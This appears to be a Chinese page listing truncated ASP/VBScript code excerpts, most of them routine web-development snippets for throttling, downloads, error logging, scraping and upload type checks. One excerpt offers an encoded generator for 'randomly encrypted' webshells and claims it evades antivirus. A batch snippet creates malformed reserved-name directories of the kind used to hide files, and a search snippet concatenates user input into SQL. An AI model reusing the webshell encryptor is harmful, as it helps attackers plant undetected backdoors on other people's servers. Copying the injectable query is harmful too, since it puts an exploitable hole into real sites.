代码如下:<% Dim CC_Info(4),strInfo,strTemp If Session("CC_Info") = "" Then CC_Info(0) = "cclog.txt" 日志文件名 CC_Info(1) = Request.ServerVariables("HTTP_X_FORWARDED_FOR") CC_Info(2) = Request.ServerVariables("REMOTE_ADDR") CC_Info(3) = 10 N秒内禁止刷新当前页面 CC_Info(4) = "badip.txt" IP黑名单文件名 Session("CC_Info") = CC_Info(0) &"|"& CC_Info(1) &"|"& CC_Info(2) &"|"& CC_Info(3) &"|"& CC_Info(4...
这个目前还是有个别无法显示，翻了下msdn貌似没看到更好的解决方案，暂时放弃继续研究，有晓得完全解决的朋友不妨回复说一声。 先附bat创建畸形目录，以下代码复制另存为a.bat： 代码如下:md aux\\ md com1\\ md com2\\ md prn\\ md con\\ md nul\\ md dot...\\ md onedot..\\ 程序代码 代码如下:<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% option explicit response.charset = "UTF-8" session.codepage = 65001 session.t...
问题：我想上传文件时后改名，下载时又将名改回来。 如：我上传一张“我的照片.jpg”上传后改为系统数名“20040302001.jpg”下载时又改回“我的照片.jpg” 其中的保存新旧文件名都用数据库（已做） 就是下载时的改名做不出来。 代码： 代码如下:<% function dl(f,n) on error resume next Set S=CreateObject( "Adodb.Stream ") S.Mode=3 S.Type=1 S.Open S.LoadFromFile(f) if Err.Number> 0 then Response.Status= "404 " else ...
过程名：catch(str) 使用方法： 代码如下:on error resume next 你的代码，如数据库连接 call catch("显示给用户的提示信息") 功能：清除IIS的错误提示信息，自定义错误提示返回给用户，并将出错信息保存到txt文件（当然你也可以稍做修改转向自定义页面等） 代码： 代码如下:<% option explicit 例一--------------------------- 必须和on error resume next一起使用，但在网页没有正式发布之前最好将其注释掉，以免在调试时看不...
2天内的现实new文字 <%if DateDiff("d",rs("date"),date())<2 then%><font color="#4FC5D9">NEW</font><%end if%> 七天之内显示new图片 <%if Date()-rs("news_date")<7 then %> <img border="0" src="imges/new.gif" ><%end if%>
代码如下:<% Load XML set xml = Server.CreateObject("Microsoft.XMLDOM") xml.async = false xml.load(Server.MapPath("cdcatalog.xml")) Load XSL set xsl = Server.CreateObject("Microsoft.XMLDOM") xsl.async = false xsl.load(Server.MapPath("cdcatalog.xsl")) Transform file Response.Write(xml.transformNode(xsl)) %>
代码如下:<% class SQLString ************************************ 变量定义 ************************************ sTableName ---- 表名 iSQLType ----SQL语句类型：0-增加，1-更新，2-删除,3-查询 sWhere ---- 条件 sOrder ---- 排序方式 sSQL ----值 Private sTableName,iSQLType,sWhere,sOrder,sSQL ************************************ 类初始化/结束 ************************************ Private Sub Class_Initializ...
代码如下:<% 获取访问者的地址 ip=Request.ServerVariables("REMOTE_ADDR") 允许的IP地址段为10.0.0.0～10.68.63.255 allowip1="10.0.0.0" allowip2="10.68.10.71" response.writecheckip(ip,allowip1,allowip2) functioncheckip(ip,allowip1,allowip2) dimcheck(4) checkip=false ipstr=split(ip,".") allow1=split(allowip1,".") allow2=split(allowip2,".") ifcint(allow1(0))>cint(allow2(0))then判断IP地址段是否合法 respons...
代码如下:获取参数值 Function getForm(element,ftype) Select case ftype case "get" getForm=trim(request.QueryString(element)) case "post" getForm=trim(request.Form(element)) case "both" if isNul(request.QueryString(element)) then getForm=trim(request.Form(element)) else getForm=trim(request.QueryString(element)) End Select getForm=replace(getForm,CHR(34),""") getForm=replace(getForm,CHR(39),"") End ...
先说一下采集原理： 采集程序的主要步骤如下： 一、获取被采集的页面的内容 二、从获取代码中提取所有用的数据 一、获取被采集的页面的内容 我目前所掌握的ASP常用获取被采集的页面的内容方法： 1、用serverXMLHTTP组件获取数据 代码如下:Function GetBody(weburl) 创建对象 Dim ObjXMLHTTP Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") 请求文件,以异步形式 ObjXMLHTTP.Open "GET",weburl,False ObjXMLHTTP.send...
代码如下:<% call getMyNumber(aa,bb,cc) response.write aa & " " & bb & "<br />" & cc function getMyNumber(byref aa,byref bb,byref cc) aa=3 bb=4 cc =10 end function %>
smart.asp 代码如下:<script language="jscript" runat="server"> /* 在VBS里面的调用方法 dim myhttp set myhttp = SmartHttp(url,method,data); //三个参数均可选 属性： url：String，请求的URL地址 method：String，请求的方法 data：String，请求的数据 charset：String，请求的URL返回数据的编码 status：Int，请求返回的状态码 readyState：Int，同HTTP请求的当前通讯状态，1、2、3、4 dataset：Object，请求的数据，如果增...
随机加密webshell，解密还不错，应当免杀 加密源码 代码如下:<%@ LANGUAGE = VBScript.Encode %> <%#@~^3A4CAA==@#@& jdDhl/kr1v2FX!ZFE~,PP,~P,@#@&sHC:r随机加密 J~P~~@#@&jkDnj"SxE4YY2lJzAhS 4l^0+MRmK:r~P,P~P,P~@#@&ZWazDbotDxEbUn木马随机加密器 rP~P~~,P~P,~P,@#@&)GJ随机加密 E~,P~P,~,P~,P,PP,P,~P,P@#@&@#@&@#@&@#@&ksLEMVr@!r:TPkD^v4DY2)J&wFRrhmo+d+yRXFbhTF 1WszvZ!Z&oKN{obDs{JG08{FR4G9T1Ny 14T,X{6Fn0Of0R%{f...
程序代码： 代码如下:关键字的搜索 str="select * from tableName where id>4" if srhKey<>"" then keyArr=split(srhKey," ") j=UBound(keyArr) t=0 dim keystrArr() for i=0 to j if keyArr(i)<>"" then redim preserve keystrArr(t) strfilter="(empZw like %"&keyArr(i)&"% or empDep like %"&keyArr(i)&"% or empGz like %" strfilter=strfilter&keyArr(i)&"% or empWy1 like %"&keyArr(i)&"% or empWy2 like %"&keyArr(i) st...
ASP木马防御： 代码如下:const adTypeBinary=1 dim jpg(1):jpg(0)=CByte(&HFF):jpg(1)=CByte(&HD8) dim bmp(1):bmp(0)=CByte(&H42):bmp(1)=CByte(&H4D) dim png(3):png(0)=CByte(&H89):png(1)=CByte(&H50):png(2)=CByte(&H4E):png(3)=CByte(&H47) dim gif(5):gif(0)=CByte(&H47):gif(1)=CByte(&H49):gif(2)=CByte(&H46):gif(3)=CByte(&H39):gif(4)=CByte(&H38):gif(5)=CByte(&H61) Response.Write CheckFileType(Server.MapPath("...